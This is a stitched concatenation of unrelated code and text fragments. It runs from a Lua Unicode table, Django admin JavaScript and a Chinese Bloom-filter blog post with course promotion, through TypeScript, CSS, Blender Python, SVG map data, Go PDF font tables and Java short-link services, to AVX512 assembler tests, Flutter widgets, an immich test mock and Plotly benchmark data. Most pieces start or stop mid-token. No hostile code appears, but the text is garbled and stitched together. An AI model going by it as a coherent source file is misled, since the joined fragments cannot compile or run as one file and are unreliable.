 -- NEGATIVE SQUARED LATIN CAPITAL LETTER L..NEGATIVE SQUARED LATIN CAPITAL LETTER M
      -- NEGATIVE SQUARED LATIN CAPITAL LETTER N..NEGATIVE SQUARED LATIN CAPITAL LETTER O
 [0x1F17B] = {status="disallowed"},
 [0x1F17C] = {status="disallowed"},
 [0x1F17D] = {status="disallowed"},
 [0x1F17E] = {status="disallowed"},
 [0x1F190] = {0x0064, 0x006A}, -- SQUARE DJ
 [0x1F200] = {0x307B, 0x304B}, -- SQUARE HIRAGANA HOKA
 [0x1F201] = {0x30B3, 0x30B3}, -- SQUARED KATAKANA KOKO
 [0x1F202] = 0x30B5, -- SQUARED KATAKANA SA
 [0x1F210] = 0x624B, -- SQUARED CJK UNIFIED IDEOGRAPH-624B
 [0x1F211] = 0x5B57, -- SQUARED CJK UNIFIED IDEOGRAPH-5B57
 [0x1F212] = 0x53CC, -- SQUARED CJK UNIFIED IDEOGRAPH-53CC
 [0x1F213] = 0x30C7, -- SQUARED KATAKANA DE
 [0x1F214] = 0x


_MAPS) {
                Object.assign(Downcoder.map, lookup);
            }
            Downcoder.regex = new RegExp(Object.keys(Downcoder.map).join('|'), 'g');
        }
    };

    function downcode(slug) {
        Downcoder.Initialize();
        return slug.replace(Downcoder.regex, function(m) {
            return Downcoder.map[m];
        });
    }

    function URLify(s, num_chars, allowUnicode) {
        // changes, e.g., "Petty theft" to "petty-theft"
        if (!allowUnicode) {
            s = downcode(s);
        }
        s = s.toLowerCase(); // convert to lowercase
        // if downcode doesn't hit, the char will be stripped here
        if (allowUnicode) {
            // Keep Unicode letters including both lowercase and uppercase
            // characters, whitespace, and dash; remove other characters.
            s = XRegExp.replace(s, XRegExp('[^-_\\p{L}\\p{N}\\s]', 'g'), '');
        } else {
            s = s.replace(/[^-\w\s]/g, ''); // remove unneeded chars
        }
        s = s.replace(/^\s+|\s+$/g, ''); // trim leading/trailing spaces
        s = s.replace(/[-\s]+/g, '-'); // convert spaces to hyphens
        s = s.substring(0, num_chars); // trim to first num_chars chars
        return s.replace(/-+$/g, ''); // trim any trailing hyphens
    }
    window.URLify = URLify;
}
/*global Calendar, findPosX, findPosY, get_format, gettext, gettext_noop, interpolate, ngettext, quickElement*/
// Inserts shortcut buttons after all of the following:
//     <input type="text" class="vDateField">
//     <input type="text" class="vTimeField">
'use strict';
{
    const DateTimeShortcuts = {
        calendars: [],
        calendarInputs: [],
        clockInputs: [],
        clockHours: {
            default_: [
                [gettext_noop('Now'), -1],
                [gettext_noop('Midnight'), 0],
                [gettext_noop('6 a.m.'), 6],
                [gettext_noop('Noon'), 12],
                [gettext_noop('6 p.m.'), 18]
            ]
        },
        dismissClockFunc: [],
        dismissCalendarFunc: [],
        calendarDivName1: 'calendarbox', // name of calendar <div> that gets toggled
        calendarDivName2: 'calendarin', // name of <div> that contains calendar
        calendarLinkName: 'calendarlink', // name of the link that is used to toggle
        clockDivName: 'clockbox', // name of clock <div> that gets toggled
        clockLinkName: 'clocklink', // name of the


using System.Linq;
using System.Text;
using Nethereum.ABI.Model;

namespace Nethereum.ABI.FunctionEncoding
{
    public class SerpentSignatureEncoder : SignatureEncoder
    {
        public override string GenerateSignature(string name, Parameter[] parameters)
        {
            var signature = new StringB


MyBatis 源码就是这样的结构。小傅哥会用很多的源码思想来设计工作中的系统开发，所以跟着小傅哥给你开的路，你也会学习到这些内容。

## 三、我们，邀你Join

小傅哥的星球是以开发应用级实战项目为目标，公司需要什么样的技术，什么样的项目，我们就做什么样的内容。而这些课程内容只要加入星球就可以全部都学习到。**💐小傅哥的星球付费价格，你相当于只是买了1个课程的钱，但却可以获得6个项目+6个技术小册！**

>[🧧加入学习](https://bugstack.cn/md/zsxq/other/join.html)

**综上**，加入小傅哥的知识星球，这些内容都是你可以学习的。这些足够硬核的内容，可以帮助你更加平稳的度过往后的路，企业不会永远一帆风顺，但只要你手里技术硬，就会相对平稳。

**🍻路怎么走，让各位架构师自己选，祝大家在职场一帆风顺！**

---
title: 布隆过滤器 Bloom Filter
lock: need
---

# 数据结构：布隆过滤器 Bloom Filter

作者：小傅哥

博客：[https://bugstack.cn](https://bugstack.cn)

> 沉淀、分享、成长，让自己和他人都能有所收获！😄

## 一、前言

`布隆过滤器的历史`

布隆过滤器由 Burton Howard Bloom 于 1970 年提出，它是一种节省空间的概率数据结构，包括一个很长的二进制向量和一些列随机映射函数。

## 二、布隆过滤器结构

布隆过滤器是一个基于数组和哈希函数散列元素的结构，很像HashMap的哈希桶。布隆过滤器可以用于检测一个元素是否在集合中。它的优点是空间效率和查询时间比一般算法要好很多，但也有一定概率的误判性。*如HashMap出现哈希碰撞💥*

- 赵敏：无忌，成昆上了光明顶！
- 张无忌：咱们过滤器年久失修，已经不准了！
- 张无忌：布隆过滤器的长度太小，哈希计算单一。导致谢飞机、拎瓢冲、成昆，三个人的哈希值都是相同的，所以没法判断成昆是否上了光明顶。咱们只能快些上山了，沿途小心。
- 杨左使：老大，我现在就去维修一下。布隆过滤器的优化方式可以通过增加长度和多样新计算哈希解决。

## 三、布隆过滤器实现

布隆过滤器的实现条件包括可以存放二进制元素的 BitSet 以及多样性的哈希计算函数。

```java
public class BloomFilter {

    private static final HashGenerator.HashGroup[] GROUPS = new HashGenerator.HashGroup[]{HashGenerator.HashGroup.G1, HashGenerator.HashGroup.G2, HashGenerator.HashGroup.G3, HashGenerator.HashGroup.G4};

    private final BitSet bits;

    private HashGenerator[] generators;

}
```

所有的元素存放都经过多样的哈希计算存放到 BitSet 中，这样可以尽可能的分散元素，减少误判性。

- 源码地址：[https://github.com/fuzhengwei/java-algorithms](https://github.com/fuzhe


a-zA-Z_0-9]*$/;
const condition = /^([a-zA-Z_0-9\.\[\]]*)=(.*)$/;

export const accessor = <T extends Object>(val: keyof T & string) => (obj: T) => {
  if (field.test(val)) {
    return defined(obj) ? obj[val] : undefined;
  }
  if (condition.test(val) && obj instanceof Array) {
    const result = condition.exec(val) as RegExpExecArray;
    const [, left, value] = result;
    const findAccessor = pathToProperties(left).map(accessor);
    return obj.find((each) => {
      const element: any = findAccessor.reduce((a, b) => b(a as any), each);
      return defined(element) ? (element.toString() === value) : false;
    });
  }
  throw new Error(`Unknown accessor type: ${val}`);
};
import { createSlice } from "@reduxjs/toolkit";

interface UnsplashUrls {
  full: string;
  small: string;
  thumb: string;
}

export interface UnsplashImage {
  id: string;
  alt_description: string;
  description: string;
  urls: UnsplashUrls;
}

export interface ImagesState {
  images: Array<UnsplashImage>;
}

const initialState: ImagesState = {
  images: [],
};

export const imagesSlice = createSlice({
  name: "images",
  initialState,
  reducers: {
    setImages: (state, { payload }) => {
      state.images = payload;
    },
  },
});

export const { setImages } = imagesSlice.actions;

export default imagesSlice.reducer;
import * as yup from 'yup';

export const postsSchema = yup.object().shape({
  title: yup
    .string()
    .trim()
    .required()
    .min(3, 'Title is too short. Min 3')
    .max(100, 'Title it too long. Max 100')
    .typeError('BadRequest'),

  body: yup
    .string()
    .trim()
    .required()
    .min(3, 'Body is too short. Min 3')
    .max(400, 'Body is too long. Max 400')

});
import { Projectile, Particle } from '.'
import type { HSL } from '../types'

export class Player {
  private _speed: number
  private _moving: boolean
  private _particles: Particle[]
  private _exploding: boolean
  private _exploded: boolean

  public life: number
  public angle: number
  public projectiles: Projectile[]

  constructor(
    public id: number,
    public x: number,
    public y: number,
    public width: number,
    public height: number,
    public color: HSL,
    public maxSpeed: number,
    public rotateSpeed: number,
    public friction: number,
    public acceleration: number
  ) {
    this._speed = 0
    this._moving = false
    this._particles = []
    this._exploding = false
    this._exploded = false

    this.life = 100
    this.angle = 0
    this.projectiles = []
  }

  get alive(): boolean {
    return this.life > 0
  }

  get exploding(): boolean {
    return this._exploding
  }

  get exploded(): boolean {
    return this._exploded
  }

  accelerate = (): void => {
    this._moving = true
  }

  stop = (): void => {
    this._moving = false
  }

  rotateLeft = (): void => {
    this.angle = this.angle - this.rotateSpeed < 0 ? 360 : this.angle - this.rotateSpeed
  }

  rotateRight = (): void => {
    this.angle = this.angle + +this.rotateSpeed > 360 ? 0 : this.angle + this.rotateSpeed


s-mdn-like .cm-variable { color: #07a; }
.cm-s-mdn-like .cm-property { color: #905; }
.cm-s-mdn-like .cm-qualifier { color: #690; }

.cm-s-mdn-like .cm-operator { color: #cda869; }
.cm-s-mdn-like .cm-comment { color:#777; font-weight:normal; }
.cm-s-mdn-like .cm-string { color:#07a; font-style:italic; }
.cm-s-mdn-like .cm-string-2 { color:#bd6b18; } /*?*/
.cm-s-mdn-like .cm-meta { color: #000; } /*?*/
.cm-s-mdn-like .cm-builtin { color: #9B7536; } /*?*/
.cm-s-mdn-like .cm-tag { color: #997643; }
.cm-s-mdn-like .cm-attribute { color: #d6bb6d; } /*?*/
.cm-s-mdn-like .cm-header { color: #FF6400; }
.cm-s-mdn-like .cm-hr { color: #AEAEAE; }
.cm-s-mdn-like .cm-link {   color:#ad9361; font-style:italic; text-decoration:none; }
.cm-s-mdn-like .cm-error { border-bottom: 1px solid red; }

div.cm-s-mdn-like .CodeMirror-activeline-background {background: #efefff;}
div.cm-s-mdn-like span.CodeMirror-matchingbracket {outline:1px solid grey; color: inherit;}

.cm-s-mdn-like.CodeMirror { background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAFcAAAAyCAYAAAAp8UeFAAAHvklEQVR42s2b63bcNgyEQZCSHCdt2vd/0tWF7I+Q6XgMXiTtuvU5Pl57ZQKkKHzEAOtF5KeIJBGJ8uvL599FRFREZhFx8DeXv8trn68RuGaC8TRfo3SNp9dlDDHedyLyTUTeRWStXKPZrjtpZxaRw5hPqozRs1N8/enzIiQRWcCgy4MUA0f+XWliDhyL8Lfyvx7ei/Ae3iQFHyw7U/59pQVIMEEPEz0G7XiwdRjzSfC3UTtz9vchIntxvry5iMgfIhJoEflOz2CQr3F5h/HfeFe+GTdLaKcu9L8LTeQb/R/7GgbsfKedyNdoHsN31uRPWrfZ5wsj/NzzRQHuToIdU3ahwnsKPxXCjJITuOsi7XLc7SG/v5GdALs7wf8JjTFiB5+QvTEfRyGOfX3Lrx8wxyQi3sNq46O7QahQiCsRFgqddjBouVEHOKDgXAQHD9gJCr5sMKkEdjwsarG/ww3BMHBU7OBjXnzdyY7SfCxf5/z


= data.path_from_id()

        # try to use the name of the data element to group the F-Curve
        # else fallback on the KeyingSet name
        grouping = getattr(data, "name", None)

    # return the ID-block and the path
    return id_block, path, grouping

# Location
def RKS_GEN_location(ksi, context, ks, data):
    # get id-block and path info
    id_block, base_path, grouping = get_transform_generators_base_info(data)

    # add the property name to the base path
    path = path_add_property(base_path, "location")

    # add Keying Set entry for this...
    if grouping:
        ks.paths.add(id_block, path, group_method='NAMED', group_name=grouping)
    else:
        ks.paths.add(id_block, path)

# Rotation
def RKS_GEN_rotation(ksi, context, ks, data):
    # get id-block and path info
    id_block, base_path, grouping = get_transform_generators_base_info(data)

    # add the property name to the base path
    #   rotation mode affects the property used
    if data.rotation_mode == 'QUATERNION':
        path = path_add_property(base_path, "rotation_quaternion")
    elif data.rotation_mode == 'AXIS_ANGLE':
        path = path_add_property(base_path, "rotation_axis_angle")
    else:
        path = path_add_property(base_path, "rotation_euler")

    # add Keying Set entry for this...
    if grouping:
        ks.paths.add(id_block, path, group_method='NAMED', group_name=grouping)
    else:
        ks.paths.add(id_block, path)

# Scaling
def RKS_GEN_scaling(ksi, context, ks, data):
    # get id-block and path info
    id_block, base_path, grouping = get_transform_generators_base_info(data)

    # add the property name to the base path
    path = path_add_property(base_path, "scale")

    # add Keying Set entry for this...
    if grouping:
        ks.paths.add(id_block, path, group_method='NAMED', group_name=grouping)
    else:
        ks.paths.add(id_block, path)


052,4.098 -2.32308,1.158 -2.74205,-1.817 -0.0695,-1.872 4.48927,-1.799"},"21175":{"name":"Morgan, KY","path":"m 755.95108,296.22014 0.72919,0.908 0.0499,2.45 -0.77377,-0.344 -0.83438,-0.17 -0.71315,0 -0.0499,0.05 -2.09843,3.172 0.32983,1.28 -1.49405,-1.393 -1.89519,-0.641 -0.98949,-0.451 -0.24782,-0.386 0.57052,-4.098 2.78662,-2.281 1.20902,2.2504 3.4211,-0.3464"},"21063":{"name":"Elliott, KY","path":"m 757.14738,292.13114 0.60407,1.85214 -1.80037,2.23686 -3.4211,0.3464 -1.20902,-2.2504 0.0963,-1.807 0.94848,-1.874 0.43502,0.09 1.37281,0.763 0.73098,0.529 1.38173,0.282 0.56338,0 0.29774,-0.158"},"21205":{"name":"Rowan, KY","path":"m 749.30454,289.81614 2.1127,2.693 -0.0963,1.807 -2.78662,2.281 -1.21592,-0.232 -2.84546,-2.821 0.93422,-0.763 0.30487,-0.331 0.7702,-1.172 -0.16759,-0.417 0.17829,-1.014 0.64183,-1.197 2.16976,1.166"},"21011":{"name":"Bath, KY","path":"m 740.36166,291.52114 0.1355,-0.157 0.0802,0 1.73651,0.09 0.19255,0.105 0.44037,0.337 0.59726,1.148 0.77912,0.919 0.11945,-0.186 0.0303,-0.225 2.84546,2.821 -4.48927,1.799 -0.15332,-0.31 -1.18918,-1.441 -1.03763,-0.957 -0.20146,-0.177 -0.93066,-0.144 -0.95562,-0.915 2.00038,-2.699"},"21181":{"name":"Nicholas, KY","path":"m 737.61248,288.54514 2.74918,2.976 -2.00038,2.699 -4.35733,-3.641 1.37459,-2.228 2.23394,0.194"},"21069":{"name":"Fleming, KY","path":"m 743.3444,285.78914 3.79038,2.861 -0.64183,1.197 -0.17829,1.014 0.16759,0.417 -0.7702,1.172 -0.30487,0.331 -0.93422,0.763 -0.0303,0.225 -0.11945,0.185 -0.77912,-0.918 -0.59726,-1.148 -0.44037,-0.337 -0.19255,-0.105 -1.73651,-0.09 -0.0802,0 -0.1355,0.157 -2.74918,-2.976 0.72384,-1.332 1.36568,0.665 2.29812,-1.413 1.34428,-0.676"},"21201":{"name":"Robertson, KY","path":"m 736.9546,285.01714 1.38172,2.196 -0.72384,1.332 -2.23394,-0.194 -1.62411,-0.39385 0.29944,-1.64


44,444,444,444,444,278,278,278,278,500,500,500,500,500,500,500,564,500,500,500,500,500,500,500,500]}`,
	"zapfdingbats": `{"Tp":"Core","Name":"ZapfDingbats","Up":-100,"Ut":50,"Cw":[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,278,974,961,974,980,719,789,790,791,690,960,939,549,855,911,933,911,945,974,755,846,762,761,571,677,763,760,759,754,494,552,537,577,692,786,788,788,790,793,794,816,823,789,841,823,833,816,831,923,744,723,749,790,792,695,776,768,792,759,707,708,682,701,826,815,789,789,707,687,696,689,786,787,713,791,785,791,873,761,762,762,759,759,892,892,788,784,438,138,277,415,392,392,668,668,0,390,390,317,317,276,276,509,509,410,410,234,234,334,334,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,732,544,544,910,667,760,760,776,595,694,626,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,788,894,838,1016,458,748,924,748,918,927,928,928,834,873,828,924,924,917,930,931,463,883,836,836,867,867,696,696,874,0,874,760,946,771,865,771,888,967,888,831,873,927,970,918,0]}`,
}

func (f *Fpdf) coreFontReader(familyStr, styleStr string) (r *strings.Reader) {
	key := familyStr + styleStr
	str, ok := embeddedFontList[key]
	if ok {
		r = strings.NewReader(str)
	} else {
		f.SetErrorf("could not locate \"%s\" among embedded core font definition files", key)
	}
	return
}

var embeddedMapList = map[string]string{
	"cp1250": `
!00 U+0000 .notdef
!01 U+0001 .notdef
!02 U+0002 .notdef
!03 U+0003 .notdef
!04 U+0004 .notdef
!05 U+0005 .notdef
!06 U+0006 .notdef
!07 U+0007 .notdef
!08 U+0008 .notdef
!09 U+0009 .notdef
!0A U+000A .notdef
!0B U+000B .notdef
!0C U+000C .notdef
!0D U+000D .notdef
!0E U+000E .notdef
!0F U+000F .notdef
!10 U+0010 .notdef
!11 U+0011 .notdef
!12 U+0012 .notdef
!13 U+0013 .notdef
!14 U+0014 .notdef
!15 U+0015 .notdef
!16 U+0016 .notdef
!17 U+0017 .notdef
!18 U+0018 .


16.954027 16.954027 0 1 0-33.908053 0Z" fill="#FFFFFF" ></path>'+""+'<path d="M861.692587 490.96704m-16.950614 0a16.950613 16.950613 0 1 0 33.901227 0 16.950613 16.950613 0 1 0-33.901227 0Z" fill="#FFFFFF" ></path>'+""+'<path d="M471.722667 511.976107m-16.950614 0a16.950613 16.950613 0 1 0 33.901227 0 16.950613 16.950613 0 1 0-33.901227 0Z" fill="#FFFFFF" ></path>'+""+'<path d="M337.24416 370.08384m-16.950613 0a16.950613 16.950613 0 1 0 33.901226 0 16.950613 16.950613 0 1 0-33.901226 0Z" fill="#FFFFFF" ></path>'+""+"</symbol>"+""+'<symbol id="pingguo" viewBox="0 0 1024 1024">'+""+'<path d="M720.779947 227.6352c-50.213547 0-167.6288 29.73696-208.776534 30.979413-41.08288-2.317653-158.5664-30.979413-208.776533-30.979413-118.985387 0-223.351467 84.804267-215.453013 258.542933 7.901867 173.728427 162.358613 460.649813 274.54464 468.39808 107.85792 7.44448 101.884587-23.422293 149.684906-25.818453 47.80032 2.39616 41.8304 33.262933 149.684907 25.818453 112.182613-7.74144 266.63936-294.669653 274.54464-468.39808 7.89504-173.738667-96.467627-258.542933-215.453013-258.542933z" fill="#FF1515" ></path>'+""+'<path d="M630.7328 976.213333h-0.006827c-49.175893-0.003413-70.642347-9.9328-87.893333-17.913173-10.277547-4.758187-17.769813-8.22272-30.83264-9.03168-13.062827 0.80896-20.55168 4.276907-30.825813 9.03168-17.247573 7.983787-38.710613 17.916587-87.90016 17.916587-9.90208 0-20.790613-0.406187-32.365227-1.20832-83.841707-5.789013-162.74432-129.396053-192.774827-182.272-58.279253-102.608213-96.907947-219.716267-100.816213-305.626454-3.9936-87.845547 19.346773-160.918187 67.505493-211.31264C177.117867 231.533227 236.926293 207.1552 303.22688 207.1552c30.50496 0 80.37376 9.202347 128.597333 18.100907 32.812373 6.05184 63.83616 11.779413 80.4352 12.858026 17.373867-0.70656 52.036267-7.185067 85.572267-13.45536 46.011733-8.605013 93.5936-17.50016 122.948267-17.50016 66.300587 0 126.1056 24.378027 168.403626 68.63872 48.151893 50.394453 71.49568


", "系统执行出错"),
    // ========== 二级宏观错误码 系统执行超时 ==========
    SERVICE_TIMEOUT_ERROR("B000100", "系统执行超时"),

    // ========== 一级宏观错误码 调用第三方服务出错 ==========
    REMOTE_ERROR("C000001", "调用第三方服务出错");

    private final String code;

    private final String message;

    BaseErrorCode(String code, String message) {
        this.code = code;
        this.message = message;
    }

    @Override
    public String code() {
        return code;
    }

    @Override
    public String message() {
        return message;
    }
}
package com.donny.shortlink.project.controller;

import com.baomidou.mybatisplus.core.metadata.IPage;
import com.donny.shortlink.project.common.convention.result.Result;
import com.donny.shortlink.project.common.convention.result.Results;
import com.donny.shortlink.project.dto.req.ShortLinkGroupStatsAccessRecordReqDTO;
import com.donny.shortlink.project.dto.req.ShortLinkGroupStatsReqDTO;
import com.donny.shortlink.project.dto.req.ShortLinkStatsAccessRecordReqDTO;
import com.donny.shortlink.project.dto.req.ShortLinkStatsReqDTO;
import com.donny.shortlink.project.dto.resp.ShortLinkStatsAccessRecordRespDTO;
import com.donny.shortlink.project.dto.resp.ShortLinkStatsRespDTO;
import com.donny.shortlink.project.service.ShortLinkStatsService;
import lombok.RequiredArgsConstructor;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;

/**
 * 短链接监控控制层
 */
@RestController
@RequiredArgsConstructor
public class ShortLinkStatsController {

    private final ShortLinkStatsService shortLinkStatsService;

    /**
     * 访问单个短链接指定时间内监控数据
     */
    @GetMapping("/api/short-link/v1/stats")
    public Result<ShortLinkStatsRespDTO> shortLinkStats(ShortLinkStatsReqDTO requestParam) {
        return Results.success(shortLinkStatsService.oneShortLinkStats(requestParam));
    }

    /**
     * 访问分组短链接指定时间内监控数据
     */
    @GetMapping("/api/short-link/v1/stats/group")
    public Result<ShortLinkStatsRespDTO> groupShortLinkStats(ShortLinkGroupStatsReqDTO requestParam) {
        return Results.success(shortLinkStatsService.groupShortLinkStats(requestParam));
    }

    /**
     * 访问单个短链接指定时间内访问记录监控数据
     */
    @GetMapping("/api/short-link/v1/stats/access-record")
    public Result<IPage<ShortLinkStatsAccessRecordRespDTO>> shortLinkStatsAccessRecord(ShortLinkStatsAccessRecordReqDTO requestParam) {
        return Results.success(shortLinkStatsService.shortLinkStatsAccessRecord(requestParam));
    }

    /**
     * 访问分组短链接指定时间内访问记录监控数据
     */
    @GetMapping("/api/short-link/v1/stats/access-record/group")
    public Result<IPage<ShortLinkStatsAccessRecordRespDTO>> groupShortLinkStatsAccessRecord(ShortLinkGroupStatsAccessRecordReqDTO requestParam) {
        return Results.success(shortLinkStatsService.groupShortLinkStatsAccessRecord(requestParam));
    }
}
package com.donny.shortlink.project.mq.consumer;

import com.donny.shortlink.project.common.convention.exception.ServiceException;
import com.donny.shortlink.project.dto.biz.ShortLinkStatsRecordDTO;
import com.donny.shortlink.project.mq.idempotent.MessageQueueIdempotentHandler;
import com.donny.shortlink.project.service.ShortLinkService;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
imp


="l00198">00198     blkCnt--;
00199   }
00200
00201   /* Compute Mean of squares of the input samples
00202    * and then store the result in a temporary variable, meanOfSquares. */
00203   t = (q15_t) ((1.0 / (blockSize - 1)) * 16384LL);
00204   sumOfSquares = __SSAT((sumOfSquares >> 15u), 16u);
00205   meanOfSquares = (q31_t) ((sumOfSquares * t) >> 14u);
00206
00207   /* Compute mean of all input values */
00208   mean = (q15_t) __SSAT(sum, 16u);
00209
00210   /* Compute square of mean of the input samples
00211    * and then store the result in a temporary variable, squareOfMean.*/
00212   t = (q15_t) ((1.0 / (blockSize * (blockSize - 1))) * 32768LL);
00213   squareOfMean = ((q31_t) mean * mean) >> 15;
00214   squareOfMean = (q31_t) (((q63_t) squareOfMean * t) >> 15);
00215
00216   /* mean of the squares minus the square of the mean. */
00217   in = (q15_t) (meanOfSquares - squareOfMean);
00218
00219   /* Compute standard deviation and store the result to the destination


*8-123456]	 # AVX512F
	vcmpunord_spd	k5, zmm6, [eax]{1to8}	 # AVX512F
	vcmpunord_spd	k5, zmm6, ZMMWORD PTR [edx+8128]	 # AVX512F Disp8
	vcmpunord_spd	k5, zmm6, ZMMWORD PTR [edx+8192]	 # AVX512F
	vcmpunord_spd	k5, zmm6, ZMMWORD PTR [edx-8192]	 # AVX512F Disp8
	vcmpunord_spd	k5, zmm6, ZMMWORD PTR [edx-8256]	 # AVX512F
	vcmpunord_spd	k5, zmm6, [edx+1016]{1to8}	 # AVX512F Disp8
	vcmpunord_spd	k5, zmm6, [edx+1024]{1to8}	 # AVX512F
	vcmpunord_spd	k5, zmm6, [edx-1024]{1to8}	 # AVX512F Disp8
	vcmpunord_spd	k5, zmm6, [edx-1032]{1to8}	 # AVX512F

	vcmpneq_uspd	k5, zmm6, zmm5	 # AVX512F
	vcmpneq_uspd	k5{k7}, zmm6, zmm5	 # AVX512F
	vcmpneq_uspd	k5, zmm6, zmm5, {sae}	 # AVX512F
	vcmpneq_uspd	k5, zmm6, ZMMWORD PTR [ecx]	 # AVX512F
	vcmpneq_uspd	k5, zmm6, ZMMWORD PTR [esp+esi*8-123456]	 # AVX512F
	vcmpneq_uspd	k5, zmm6, [eax]{1to8}	 # AVX512F
	vcmpneq_uspd	k5, zmm6, ZMMWORD PTR [edx+8128]	 # AVX512F Disp8
	vcmpneq_uspd	k5, zmm6, ZMMWORD PTR [edx+8192]	 # AVX512F
	vcmpneq_uspd	k5, zmm6, ZMMWORD PTR [edx-8192]	 # AVX512F Disp8
	vcmpneq_uspd	k5, zmm6, ZMMWORD PTR [edx-8256]	 # AVX512F
	vcmpneq_uspd	k5, zmm6, [edx+1016]{1to8}	 # AVX512F Disp8
	vcmpneq_uspd	k5, zmm6, [edx+1024]{1to8}	 # AVX512F
	vcmpneq_uspd	k5, zmm6, [edx-1024]{1to8}	 # AVX512F Disp8
	vcmpneq_uspd	k5, zmm6, [edx-1032]{1to8}	 # AVX512F

	vcmpnlt_uqpd	k5, zmm6, zmm5	 # AVX512F
	vcmpnlt_uqpd	k5{k7}, zmm6, zmm5	 # AVX512F
	vcmpnlt_uqpd	k5, zmm6, zmm5, {sae}	 # AVX512F
	vcmpnlt_uqpd	k5, zmm6, ZMMWORD PTR [ecx]	 # AVX512F
	vcmpnlt_uqpd	k5, zmm6, ZMMWORD PTR [esp+esi*8-123456]	 # AVX512F
	vcmpnlt_uqpd	k5, zmm6, [eax]{1to8}	 # AVX512F
	vcmpnlt_uqpd	k5,


ildren.add(Form(
              child: Container(
                  padding: EdgeInsets.only(top: 10),
                  child: Material(
                      child: Column(
                    children: <Widget>[
                      TextField(
                        inputFormatters: inputFormatters,
                        keyboardType: keyboardType,
                        autofocus: true,
                        onChanged: (newValue) {
                          value = newValue;
                        },
                      ),
                      TextField(
                        inputFormatters: inputFormatters,
                        keyboardType: TextInputType.text,
                        onChanged: (newValue) {
                          value = newValue;
                        },
                      ),
                      TextField(
                        inputFormatters: inputFormatters,
                        keyboardType: keyboardType,
                        onChanged: (newValue) {
                          value = newValue;
                        },
                      )
                    ],
                  )))));
          return CupertinoAlertDialog(
            title: titleWidget,
            content: Column(
              children: children,
            ),
            actions: <Widget>[
              CupertinoDialogAction(
                child: Text("取消"),
                onPressed: () => Navigator.of(context).pop(),
              ),
              CupertinoDialogAction(
                child: Text("確認"),
                onPressed: () {
                  Navigator.of(context).pop(value ?? '');
                },
              )
            ],
          );
        });
  }
}
import 'dart:io';

import 'package:immich_mobile/widgets/common/transparent_image.dart';
import 'package:mocktail/mocktail.dart';

/// Mocks the http client to always return a transparent image for all the requests. Only useful in widget
/// tests to return network images
class MockHttpOverrides extends HttpOverrides {
  @override
  HttpClient createHttpClient(SecurityContext? context) {
    final client = _MockHttpClient();
    final request = _MockHttpClientRequest();
    final response = _MockHttpClientResponse();
    final headers = _MockHttpHeaders();

    // Client mocks
    when(() => client.autoUncompress).thenReturn(true);

    // Request mocks
    when(() => request.headers).thenAnswer((_) => headers);
    when(() => request.close()).thenAnswer((_) => Future<HttpClientResponse>.value(response));

    // Response mocks
    when(() => response.statusCode).thenReturn(HttpStatus.ok);
    when(() => response.compressionState).thenReturn(HttpClientResponseCompressionState.decompressed);
    when(() => response.contentLength).thenAnswer((_) => kTransparentImage.length);
    when(
      () => response.listen(
        captureAny(),
        cancelOnError: captureAny(named: 'cancelOnError'),
        onDone: captureAny(named: 'onDone'),
        onError: captureAny(named: 'onError'),
      ),
    ).thenAnswer((invocation) {
      final onData = invocation.positionalArguments[0] as void Function(List<int>);

      final onDone = invocation.namedArguments[#onDone] as void Function();

      final onError = invocation.namedArguments[#onError] as void Function(Object, [StackTrace]);

      final cancelOnError = invocation.namedArguments[#cancelOnError] as bool;

      return Stream<List<int>>.fromIterable([
        kTransparentImage.toList(),
      ]).listen(onData, onDone: onDone, onError: onError, cancelOnError: cancelOnError);
    });

    return client;
  }
}

class _MockHttpClient extends Mock implements HttpClient {}

class _MockHttpClientRequest extends Mock implements HttpClientRequest {}

class _MockHttpClientResponse extends Mock implements HttpClientResponse {}

class _MockHttpHeaders extends Mock implements HttpHeaders {}
import '


MINOTAUR-0.2.1", "text": ["\ud83d\udd3a", "\ud83d\udd3a", "\ud83d\udd3a", "", "\ud83d\udd3a", "", "\ud83d\udd3a", "", "", "", "", "", "", "", "", "\ud83d\udd3a", "\ud83d\udd3a", "\ud83d\udd3a", "\ud83d\udd3a", "\ud83d\udd3a", "", "\ud83d\udd3a", "\ud83d\udd3a", "\u274c", "\u274c", "\u274c", "\u274c", "\u274c", "\u274c", "\u274c", "\u274c"], "textfont": {"size": 20}, "textposition": "outside", "type": "bar", "x": ["10069", "10050", "10056", "3708", "4270", "10001", "3547", "3871", "10002", "10009", "10010", "10008", "10012", "7579", "3792", "10003", "10007", "5577", "5924", "3698", "3694", "3861", "10004", "5543", "10005", "10006", "5527", "3980", "10011", "3913", "3678"], "xaxis": "x", "y": [9.356351925490888, 9.356351925490888, 9.356351925490888, 1.1844245711374275, 9.356351925490888, 2.8579809951275723, 8.728320702877845, 2.7178567712185013, 6.610018148790486, 6.143549586018015, 7.064742764750256, 7.989994838253962, 7.3378448669942475, 6.598560104121878, 6.1584949381614535, 7.292221588071172, 7.261194692450547, 6.728320702877846, 5.804556288704931, 5.2688890842405485, 4.525945000934639, 3.2727517238729473, 1.6051122003425633, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], "yaxis": "y"}, {"hoverinfo": "text+x", "hovertext": ["MOSEK-9.2.29: 1.0s
GUROBI-9.1.0: 1.0s
factor:1.000", "MOSEK-9.2.29: 7200.0s
GUROBI-9.1.0: 1.0s
factor:655.455", "MOSEK-9.2.29: 1.0s
GUROBI-9.1.0: 1.0s
factor:1.000", "MOSEK-9.2.29: 2.0s
GUROBI-9.1.0: 1.0s
factor:1.091", "MOSEK-9.2.29: 130.0s
GUROBI-9.1.0: 1.0s
factor:12.727", "MOSEK-9.2.29: 15.0s
GUROBI-9.1.0: 2.0s
factor:2.083", "MOSEK-9.2.29: 4047.0s
GUROBI-9.1.0: 7.0s
factor:238.647", "MOSEK-9


SectionPaint );
      }
    }
  }

  /** draw the station on the screen
   * @param canvas    canvas
   * @param matrix    transform matrix
   * @param bbox      clipping box
   * @param xor_color xoring color
   * @note text size is reduced by 25 %
   */
  @Override
  public void draw( Canvas canvas, Matrix matrix, RectF bbox, int xor_color )
  {
    if ( intersects( bbox ) ) {
